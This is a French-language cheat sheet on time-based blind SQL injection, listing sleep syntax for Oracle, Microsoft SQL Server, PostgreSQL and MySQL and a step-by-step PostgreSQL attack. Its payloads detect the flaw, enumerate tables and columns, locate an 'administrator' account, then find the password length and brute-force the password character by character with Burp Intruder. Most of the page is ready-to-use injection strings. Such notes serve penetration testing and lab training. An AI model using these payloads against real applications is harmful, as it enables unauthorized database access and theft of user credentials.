Time based

Synthaxe

Oracle

dbms_pipe.receive_message(('a'),10)

Microsoft

WAITFOR DELAY '0:0:10'

PostgreSQL

SELECT pg_sleep(10)

MySQL

SELECT SLEEP(10)

Exemple d'exploitation sur PostgreSQL

Détection

'||pg_sleep(3)||'
'XOR(if(now()=sysdate(),sleep(10),0))OR'
if(now()=sysdate(),sleep(3),0)/*'XOR(if(now()=sysdate(),sleep(3),0))OR'"XOR(if(now()=sysdate(),sleep(3),0))OR"*/

Enumeration des tables

'||(SELECT pg_sleep(3) FROM <FUZZ> LIMIT 1)||'

délais de 3 sec pour table users

Enumeration des colonnes

'||(SELECT pg_sleep(3)||<FUZZ> FROM users LIMIT 1)||'

délai de 3 secondes pour colonnes username et password

Recherche utilisateur administrator

'||(SELECT pg_sleep(3)||username||password FROM users WHERE username='administrator')||'

Pour les étapes suivantes, il va vous falloir modifier quelques paramètres dans burp intruder:

  • Créer un nouveau pool (Pas de multithread)

  • Ajouter la colonne temps de réponse

Déterminer le nombre de caractères dans le mot de passe

'||(SELECT pg_sleep(3) FROM users WHERE username='administrator' AND LENGTH(password)=<FUZZ>)||'

Bruteforce du mot de passe

'||(SELECT pg_sleep(3) FROM users WHERE username='administrator' AND SUBSTR(password,<LENGTH_FUZZ>,1)='<LETTER_FUZZ>')||'

Avec Burp Suite, aller dans intruder, sélectionner les zones <LENGTH_FUZZ> et <LETTER_FUZZ> puis utiliser l'attaque Cluster Bomb.

Payload 1: numéros de 1 à la taille découverte plus tôt

Payload 2: bruteforce

Dans les paramètres, utiliser Grep-Match pour matcher la zone qui change en fonction du true ou false afin de pouvoir filtrer plus facilemen le résultat final.

Dernière mise à jour